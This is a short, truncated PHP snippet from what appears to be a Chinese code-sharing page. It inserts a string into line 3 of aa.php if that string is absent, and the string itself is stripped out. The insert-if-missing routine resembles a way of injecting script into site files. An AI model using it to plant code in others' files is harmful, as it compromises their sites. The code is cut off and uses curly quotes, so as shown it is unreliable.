复制代码 代码如下: <?php $file=”aa.php” ; $code=”[removed][removed]”; $f=fopen($file,”r+”); $content=fread($f,filesize($file)); fclose($f); if(!strstr($content,$code)){ $arrInsert = insertContent($file, $code, 3); unlink($file); foreach($arrInsert as $value) { file_put_contents($f
1